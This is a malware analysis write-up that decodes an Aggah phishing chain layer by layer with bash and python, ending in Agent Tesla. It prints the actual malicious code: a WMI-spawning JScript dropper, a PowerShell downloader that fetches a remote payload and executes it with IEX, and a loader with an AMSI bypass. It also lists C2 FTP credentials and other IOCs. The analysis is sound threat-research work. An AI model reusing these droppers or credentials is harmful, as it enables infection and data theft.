

(Ab)using bash-fu to analyze recent Aggah sample

Intro

Recently one of my generic signatures for malformed documents was hit, this type of malformation was used mostly by Zebrocy so i was curious whats cooking. After some analysis it turns out that last stage uses tools that are publicly attributed to Aggah, but to get that we need to tear through multiple layers of downloading scripts. We probably could just run our lure document and collect dropped binaries in a sandbox but where is fun of that? Let's do some work and abuse bash in order to obtain next stages!

Lure document

File that caught my attention is [47625e693220465ced292aefd7c61fffc77dedd01618432da177a3b89525be9b](#) uploaded with a name **Updated Pre-Contract.docx** from Honk Kong. File is broken its missing one byte and libreoffice refuses to open it, but we can easily fix that!

```
(cat /tmp/b93291c5560551ffd4e7f1545c07f403.bin ; printf "\x00" ) > fix.doc
```

and we are presented with very blurred jpg embedded in document



we can also skip fixing phase and use 7zip to unpack content of the file, but we need screenshot of a doc right? ;]

Anyhow looking into file with 7zip is always a good idea which may give a clue what to look for

```
Path = /tmp/b93291c5560551ffd4e7f1545c07f403.bin
Type = zip
ERRORS:
Unexpected end of archive
Physical Size = 39441
```

Date	Time	Attr	Size	Compressed	Name
1980-01-01	00:00:00	.....	2017	414	[Content_Types].xml
1980-01-01	00:00:00	.....	737	254	_rels/.rels
1980-01-01	00:00:00	.....	3781	1146	word/document.xml
1980-01-01	00:00:00	.....	1509	315	word/_rels/document.xml.rels
1980-01-01	00:00:00	.....	8814	8814	word/media/image1.jpg
1980-01-01	00:00:00	.....	6795	1571	word/theme/theme1.xml
1980-01-01	00:00:00	.....	2938	1065	word/settings.xml
1980-01-01	00:00:00	.....	213	151	customXml/item1.xml
1980-01-01	00:00:00	.....	335	243	customXml/itemProps1.xml
1980-01-01	00:00:00	.....	58402	7000	customXml/item2.xml
1980-01-01	00:00:00	.....	1088	410	customXml/itemProps2.xml
1980-01-01	00:00:00	.....	9799	1724	customXml/item3.xml
1980-01-01	00:00:00	.....	486	292	customXml/itemProps3.xml
1980-01-01	00:00:00	.....	31158	2054	word/numbering.xml
1980-01-01	00:00:00	.....	55478	5110	word/styles.xml
1980-01-01	00:00:00	.....	655	295	word/webSettings.xml
1980-01-01	00:00:00	.....	2480	584	word/fontTable.xml
1980-01-01	00:00:00	.....	746	373	docProps/core.xml
1980-01-01	00:00:00	.....	997	476	docProps/app.xml
1980-01-01	00:00:00	.....	1036	362	docProps/custom.xml
1980-01-01	00:00:00	.....	296	194	customXml/_rels/item1.xml.rels
1980-01-01	00:00:00	.....	296	194	customXml/_rels/item2.xml.rels
1980-01-01	00:00:00	.....	296	195	customXml/_rels/item3.xml.rels
2020-02-23	22:41:26	.....	369	224	word/_rels/settings.xml.rels

2020-02-23	22:41:26		190721	33460	24 files

What stands out immediately is a date of **word/_rels/settings.xml.rels** so this doc is most likely abusing Ole2Link property to load remote content,

```
$ extr0le2Link.py /tmp/b93291c5560551ffd4e7f1545c07f403.bin
[!] broken zip - missing 1 bytes
[+] HTTP-Ole2Link in http://office-archives.duckdns.org/cloud/clearance.rtf?raw=true in file word/_rels/settings.xml.rels
```

And indeed it does. You can find this simple script [here](#)

RTF - clearance.rtf

We got a next stage **17a8d46df8cdf7db3f9996a25dce7c78abb0cef0d7d55d94d39caf880801466b** . Lets look inside!

id	index	OLE Object
0	|00002CADh	|format_id: 2 (Embedded) | |class name: 'Excel.Sheet.8' | |data size: 39936 | |MD5 = 'bf1d62dff81856a2784046b4d3eeab67' | |CLSID: 00020820-0000-0000-C000-000000000046 | |Microsoft Microsoft Excel 97-2003 Worksheet (Excel.Sheet.8)
(...)		
9	|000F73F1h	|format_id: 2 (Embedded) | |class name: 'Excel.Sheet.8' | |data size: 39936 | |MD5 = 'bb74ebb70450688af0c862b46c427eec' | |CLSID: 00020820-0000-0000-C000-000000000046 | |Microsoft Microsoft Excel 97-2003 Worksheet (Excel.Sheet.8)

Ugh a lot, but all of them contain the same macro,


```
f="K|' nioj- u4ju435h43u3huhufdhnj$]]
[rahc(;)77,421,93,93,23,0mossad,501,mossad1,601,54,23,5mossad,4mossad,79,401,76,501,501,99,5mossad,79,63,23,16,301,0mossad,501,4mossad,501,63,23,16,23,801,mossad1,99,mossad1,6mossad,mossad1,4mossad,08,121,6mossad,501,4mossad,7mossad,99,101,38,85,85,39,4mossad,101,36
nioj- 'X','E','I','#'(ecalper.'#'( K las"
```

```
AT("Powershell " + REVERSE(replaceAll(f)))
```

```
var CurrentDirectory =WScript.ScriptFullName
```

```
AT("Powershell " +"Remove-Item '" + CurrentDirectory+"")
```

```
function AT(strCommand){
var strComputer = ".";
var strCommand = strCommand;
var objWMIService = GetObject("winmgmts:\\\\" + strComputer + "\\root\\CIMV2");
var objProcess = objWMIService.Get("Win32_Process");
var objInParam =
objProcess.Methods_("Create").inParameters.SpawnInstance_();
var objStartup =
objWMIService.Get("Win32_ProcessStartup").SpawnInstance_();
objStartup.ShowWindow = 0;
objInParam.CommandLine = strCommand;
objInParam.ProcessStartupInformation = objStartup;
var objOutParams = objWMIService.ExecMethod( "Win32_Process",
"Create", objInParam );
}
function replaceAll(str) {
return str.split("mossad").join("11");
}
```

This script will fire encoded powershell and clean all files dropped after it execution. Using WMI instead ordinarily spawning a cmd.exe is a nice addition. Whats inside encoded blob?

```
$ cat putin.js | grep 'f=' | cut -d'"' -f2 | tr -d "\n" | sed -e's/mossad/11/g'|rev |cut -d';' -f2|cut -d'(' -f2 | tr -d ")" | tr ,
"\n" | while read a; do printf \\$(printf '%03o' $a); $a; done
$Tbone='*EX'.replace('*', 'I');sal M $Tbone;do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$p22 =
[Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $p22;$t= New-Object
-Com Microsoft.XMLHTTP;$t.open('GET','http://janvierassociés.fr/office/fact.jpg',$false);$t.send();$ty=$t.responseText;$asciChars=
$ty -split '-' |ForEach-Object {[char][byte]"0x$_"};$asciString= $asciChars -join ''|M
```

Well another downloader.

Powershell - fact.jpg

fact.jpg (59012e676ed866ba013b1d950d1ef0558d7ea09e0a764ff65ee5b43663e918ea) is just a text file with hex encoded powershell separated by dashes

```
00000000: 3636 2d37 352d 3645 2d36 332d 3734 2d36 66-75-6E-63-74-6
00000010: 392d 3646 2d36 452d 3230 2d35 352d 3445 9-6F-6E-20-55-4E
00000020: 2d37 302d 3631 2d34 332d 3330 2d36 422d -70-61-43-30-6B-
00000030: 3333 2d33 332d 3333 2d33 332d 3333 2d33 33-33-33-33-33-3
00000040: 302d 3330 2d33 302d 3330 2d33 312d 3331 0-30-30-30-31-31
00000050: 2d33 342d 3337 2d33 352d 3335 2d33 352d -34-37-35-35-35-
00000060: 3230 2d37 422d 3044 2d30 412d 3044 2d30 20-7B-0D-0A-0D-0
00000070: 412d 3039 2d35 422d 3433 2d36 442d 3634 A-09-5B-43-6D-64
00000080: 2d36 432d 3635 2d37 342d 3432 2d36 392d -6C-65-74-42-69-
00000090: 3645 2d36 342d 3639 2d36 452d 3637 2d32 6E-64-69-6E-67-2
```

lets decode it.

```
$ cat fact.jpg | tr "-" "\n" | while read n ; do chr $((16#$n)); done > x.ps1
```

Here we need to cheat a little and abandon bash as its very slow to decode this big file (4.7MB) byte-by-byte. So we turn to python for help

```
cat fact.jpg | python2 -c 'import sys; print "".join(map(lambda x: chr(int(x,16)),sys.stdin.read().split("-")))' > x.ps1
```

here is cleared code of the script

```

function UNpaC0k333330001147555 {
    [CmdletBinding()]
    Param ([byte[]] $byteArray)

    Process {
        Write-Verbose "Get-DecompressedByteArray"
        $input = New-Object System.IO.MemoryStream( , $byteArray )
        $output = New-Object System.IO.MemoryStream
        $01774000 = New-Object System.IO.Compression.GzipStream $input, ([IO.Compression.CompressionMode]::Decompress)

        $puffpass = New-Object byte[(1024)]
        while($true){
            $read = $01774000.Read($puffpass, 0, 1024)
            if ($read -le 0){break}
            $output.Write($puffpass, 0, $read)
        }

        [byte[]] $bout333 = $output.ToArray()
        Write-Output $bout333
    }
}
$t0='DEX'.replace('D','I');sal g $t0;[Byte[]]$MNB=('!1F,!8B,!08,!00,!00...').replace('@!','0x'))| g;
[Byte[]]$blindB=('!1F,!8B,!08...').replace('@!','0x'))| g

[Byte[]]$deblindB = UNpaC0k333330001147555 $blindB

$blind=[System.Reflection.Assembly]::Load($deblindB)
[Amsi]::Bypass()

[Byte[]]$decompressedByteArray = UNpaC0k333330001147555 $MNB
[Byte[]]$MNB2=('!4D,!5A...').replace('@!','0x'))| g
$T=[System.Reflection.Assembly]::Load($decompressedByteArray)
[rOnALdo]::ChRiS('InstallUtil.exe',$MNB2)

```

This script will load into memory 3 binaries, two of them compressed one not, based on a script we can assume that the last one is the final payload and others are used for loading. Lets extract them.

```

cat x.ps1 | grep 'blind' | head -n1 | cut -d '"' -f2 | sed -e 's/#!/g' | python2 -c 'import sys;sys.stdout.write("".join(map(lambda x: chr(int(x,16)),sys.stdin.read().split(","))))' |zcat - > amsi.bin
cat x.ps1 | grep 'MNB' | head -n1 | cut -d '"' -f2 | sed -e 's/#!/g' | python2 -c 'import sys;sys.stdout.write("".join(map(lambda x: chr(int(x,16)),sys.stdin.read().split(","))))' |zcat - > loader.bin
cat x.ps1 | grep 'MNB2' | head -n1 | cut -d '"' -f2 | sed -e 's/#!/g' | python2 -c 'import sys;sys.stdout.write("".join(map(lambda x: chr(int(x,16)),sys.stdin.read().split(","))))' > payload.bin

```

EndGame

Name	Hash	Type	Comment
amsi.bin	e4d14ba73670184066a00cf5d3361580f6c4fbc5d0862a90278d82e95426faa5	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows	Packed with ConfuserEx v1.0.0
loader.bin	8ed29945294e0ba0ae9d5c94c3871dfb00eb9c32b2c7a7704005b31642977a02	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows	Packed with Unknown Obfuscator
payload.bin	4cd35bcc7793a04daa0c20774ff2a60c3f1ae693964011cb34d13544dda8b500	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows	Packed with ConfuserEx

While dealing with .NET malware dnSpy is your best friend, and while it doesn't have a flashy gui when used under Linux systems we can still use it to quickly asses whats going on using its console version and mono. After decompilation and looking into `<Module>.cs` file we can see a control flow obfuscation known as CFG flattening typical to ConfuserEX so lets remove it using `modified_de4dot`. Much better, but still nothing obvious to determine family and C2 address. At the top of the now cleared `<Module>.cs` we can see a decryption function

```

internal static string smethod_0(int int_0)
{
    object[] array = <Module>.object_0;
    if (Assembly.GetExecutingAssembly() == Assembly.GetCallingAssembly())
    {
        byte[] array2 = new byte[32];
        byte[] array3 = new byte[16];
        int num = int_0 >> 2;
        num = num - 8 + 673 - 34893;
        num = (num ^ 673 ^ 4398);
        num -= 831;
        num = (num - 673) / 8;
        uint[] array4 = (uint[])array[num];
        byte[] array5 = new byte[array4.Length * 4];
        Buffer.BlockCopy(array4, 0, array5, 0, array4.Length * 4);
        byte[] array6 = array5;
        int num2 = array6.Length - 48;
        byte[] array7 = new byte[num2];
        Buffer.BlockCopy(array6, 0, array2, 0, 32);
        Buffer.BlockCopy(array6, 32, array3, 0, 16);
        Buffer.BlockCopy(array6, 48, array7, 0, num2);
        return Encoding.UTF8.GetString(<Module>.smethod_1(array7, array2, array3));
    }
    return "";
}

// Token: 0x06000003 RID: 3 RVA: 0x00011150 File Offset: 0x0000F350
internal static byte[] smethod_1(byte[] byte_0, byte[] byte_1, byte[] byte_2)
{
    Rijndael rijndael = Rijndael.Create();
    rijndael.Key = byte_1;
    rijndael.IV = byte_2;
    return rijndael.CreateDecryptor().TransformFinalBlock(byte_0, 0, byte_0.Length);
}

```

and a huge blob of ints shortly after, lets make an educated guess and try to decode this blob.

```

cat JKHLdQkYnadVWavArpqrFZCbXEpmNqbrF0Bf1/\<Module>.cs | grep -Pzo "new uint\[\\]\n\s+{[^}]+}" | sed -e 's#.new uint.##' | tr -d
'}' | tr -d u | sed -e 's/\s*/' | tr "\n" " " | sed -e "s/{\n/g" | tr -d " " | xargs -I{} python2 -c 'import sys,struct; from
mllib.crypto import aes;unpad = lambda s: s[:-ord(s[len(s) - 1:]];e=""'.join(map(lambda x:
struct.pack("I",int(x)),sys.argv[1].split(", ")));x=aes.decrypt(e[48:],e[:32],"cbc",None,e[32:48]);print unpad(x)' "{}" >
payload.bin_strings

```

You can find those strings [here](#). In those strings we can find bunch of hints from which software this malware steales data from but mostly we can find informations about C&C server.

```

...
ftp://ftp.metris3d.hu/
seed@metris3d.hu
Team2318@
...

```

further examination of strings and code reveal its **Agent Tesla**.

Attribution

At that point i had no idea what I'm actually look at, so i start pivoting - Agent Tesla with confuser is way to generic but loader with a unknown packer can be something unique. If you look closely into [Guwav/Properties/AssemblyInfo.cs](#) you can find very strange definition

```

[assembly:
AssemblyTrademark("kerne132|CreateProcessA|GetThreadContext|Wow64GetThreadContext|SetThreadContext|Wow64SetThreadContext|ReadF

```

this sounds like a great pivot! Indeed it is, soon after querying for

```

metadata:"kerne132|CreateProcessA|GetThreadContext|Wow64GetThreadContext|SetThreadContext|Wow64SetThreadContext|ReadF
on VT we will find this

```

virustotal.com/gui/file/cd688489221f9fd1606e595a659af06355793463e6cbd6a64a187999882f5b31/community

3489221f9fd1606e595a659af06355793463e6cbd6a64a187999882f5b31

FILES 6

- 8ed29945294e0ba0ae9d5c94c3871dfb... Guwav.dll (pedll, assembly)
- c28aa3f38804a68fdb1b311724535e589... Orange.dll (pedll, assembly)
- ded2531c2a1f0992786195ab890c9a6a... Orange.dll (pedll, assembly)
- 932589e3f4e1e2ba15527b2e6ada9649... Orange.dll (pedll, assembly)
- cd688489221f9fd1606e595a659af0635... PineAPPLE.dll (pedll, assembly)
- 18a86d81ef592cb588e609a66c03793f9... PineAPPLE.dll (pedll, assembly)

26 / 72

26 engines detected this file

cd688489221f9fd1606e595a659af06355793463e6cbd6a64a187999882f5b31

PineAPPLE.dll

assembly pedll

Community Score

DETECTION DETAILS CONTENT SUBMISSIONS COMMUNITY 3

Comments

ckiefer777 13 days ago cd688489221f9fd1606e595a659af06355793463e6cbd6a64a187999882f5b31

Gorgon Group Loader, per this ref: https://twitter.com/malz_intel/status/1227675669624213512

thor 13 days ago cd688489221f9fd1606e595a659af06355793463e6cbd6a64a187999882f5b31

YARA Signature Match - THOR APT Scanner

RULE: SUSP_ConfuserEx_Obfuscated
 RULE_SET: Obfuscation
 RULE_TYPE: Valhalla Rule Feed Only
 DESCRIPTION: Detects ConfuserEx modified file
 REFERENCE: <https://vck1509.github.io/ConfuserEx/>

While this is hardly any proof, its a hint for a direction. After examine the files from VT and the one described in [Yoroi's blog post](#) and comparing to my loader i reached a conclusion that it is indeed the same one. However this loader can still be used by other parties, but while this campaign is quite different that the one previously described one can find some similarities such ash

- use of off the shelf .NET RAT
- heavy use of StrReverse in early stages
- Mixture of VBS, Powershell and JScript
- Way of encoding payload in later stages
- Consistent way of using ConfuserEX

With all that in mind i would say with medium confidence that this is another campaign from **Aggah** stable

Conclusion

When dealing with a many script based droppers using bash tools such as grep, send and awk can be a tremendous help, and since most of those encodings are used in in one or two campaigns there is no real need to create tons of throw-away scripts. This static method of analysis is obviously more tedious and time consuming than throwing things into sandbox and just read the results it may reveal artifacts that would be missed in automated analysis. Artifacts such as childish use of **putin** and **mossad** keywords. Another curious thing that we would probably missed is password for ftp account, same password was mentioned in a PAN's Unit42 [blog post](#) few years back, this password is unique enough to give a clue of possible history of the group or operator.

Analysis Artifacts - Hashes, domains, urls, etc

URL:

<http://office-archives.duckdns.org/cloud/clearance.rtf>
<http://www.statuscrew.gr/NDA/putin.js>
<http://janvierassocies.fr/office/fact.jpg>
<ftp://ftp.metris3d.hu/>

HASHES:

47625e693220465ced292aefd7c61fffc77dedd01618432da177a3b89525be9b
17a8d46df8cdf7db3f9996a25dce7c78abb0cef0d7d55d94d39caf880801466b
854a0a9603b288cdf01fdcd0cc7feffb8393d35a80fca6ad981575cbe207aee4
59012e676ed866ba013b1d950d1ef0558d7ea09e0a764ff65e5b43663e918ea
e4d14ba73670184066a00cf5d3361580f6c4fbc5d0862a90278d82e95426faa5
8ed29945294e0ba0ae9d5c94c3871dfb00eb9c32b2c7a7704005b31642977a02
4cd35bcc7793a04daa0c20774ff2a60c3f1ae693964011cb34d13544dda8b500

FILE NAMES:

Updated Pre-Contract.docx
InstallUtil.exe
cloud.js
clearance.rtf

C2 LOGIN:

seed@metris3d.hu
Team2318@